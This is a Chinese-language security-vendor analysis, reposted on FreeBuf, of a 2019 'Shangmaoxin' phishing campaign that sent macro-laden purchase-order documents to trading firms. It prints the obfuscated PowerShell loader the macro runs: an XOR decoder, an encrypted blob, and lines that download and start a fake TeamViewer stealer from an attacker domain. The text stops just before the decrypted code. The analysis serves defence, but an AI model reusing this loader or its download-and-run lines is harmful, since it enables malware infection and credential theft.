新年伊始，“商贸信”病毒再次攻击我国电子消费品贸易公司

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

新年伊始，“商贸信”病毒再次攻击我国电子消费品贸易公司

腾讯电脑管家 2019-02-20 11:35:29 146973

所属地广东省

背景

“商贸信”病毒最早由腾讯御见情报中心于2017年12月发现，其特点为针对外贸行业的，利用带有漏洞攻击代码的Word文档伪装成采购清单、帐单等文件，通过邮件在全球外贸行业内大量传播，高峰时期仅一天时间国内就有约10万多用户收到此类钓鱼邮件。

新年伊始，腾讯御见威胁情报中心再次捕获“商贸信”病毒的最新攻击样本。攻击者将带有宏病毒的word文档作为邮件附件，向消费电子产品、玩具生产销售贸易等公司发送订单咨询相关邮件，并在邮件中提示启用文档中的宏。一旦文档中的宏被点击启用，恶意宏代码会启动Powershell脚本下载假冒Teamview的窃密木马。该木马运行后会窃取用户浏览器和多款客户端软件保存的账号密码、每两分钟获取一次电脑桌面截图，造成企业重要信息泄露。

“商贸信”变种病毒攻击流程

病毒通过邮件投放

根据截获的病毒攻击邮件统计，此次被攻击者主要集中在中国大陆（主要为深圳和广州）、中国香港、中国台湾，以及美国、爱尔兰、南美等多国目标。从行业来看，主要集中在消费电子产品生产销售行业和玩具生产销售行业，其次是物流公司。其中也有金融投行企业，如美国高盛集团、大都会人寿保险等。

邮件内容如下图：

邮件内容包括运输、包装、发票等相关信息，特别强调需要确保在附件上启用“ENABLE CONTENT”，也就是启用文档附件中的宏，来增加目标中招的概率。

邮件包含带有宏病毒的文档PurchaseOrder#02_13_2019.doc，在使用office打开文档时，会提示是否启用内容，一旦启用就会导致宏病毒代码执行，导致木马被植入。

查看文档中的宏代码，发现其经过了混淆，在执行过程中会加载wscript.shell对象，准备执行环境。

继续执行会解密出powershell相关代码，随后拉起powershell.exe并传入脚本命令执行。

宏病毒代码启动Powershell.exe时附带参数信息如下：

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"-windowstyle hidden -noprofile

function aa616 {

param($mddccb)

$k2e2b5 = 'y31898a';

$j5bbae = '';

for ($i = 0; $i -lt $mddccb.length; $i+=2) {

$t7258 = [convert]::ToByte($mddccb.Substring($i, 2), 16);

$j5bbae += [char]($t7258 -bxor $k2e2b5[($i / 2) %$k2e2b5.length]);

}

return $j5bbae;

}

$q992 = '0c4058565e18320040455d54036c73464251575f412a4a424c5c554f2b465f4c505504577a5f4c5c4a0e0960544a4f51021c400a353348141b5f585b195b0d18404218495c054006053533436c7313111819184159136a7c55542814435e4a4d1043125643565c……………………

此处省略若干行

……………………

56570c621008591c110a1018445945045d5f0c4f35565f5f4d503c50083c321918415913111819184159134c3533356b5913111819184159131118194a040d464356195e051f55500334324159131118191841043e3b45';

$q9922 = aa616($q992);

Add-Type -TypeDefinition $q9922;

[pdd954]::c47ec9();

Start-Sleep -s 1;

$p253e = $env:APPDATA;

$k9c56 = $p253e + '\\t96f4b.exe';

If (test-path $k9c56) {Remove-Item $k9c56};

$gaa1a = New-Object System.Net.WebClient;

$gaa1a.Headers['User-Agent'] = 'gaa1a';

$gaa1a.DownloadFile('http://mater.melatkinson.com/teamview.exe',$k9c56);

Start-Process -Filepath $k9c56;

部分powershell代码被加密后保存在$q992中，运行时先调用aa616()进行解密，解密后代码如下：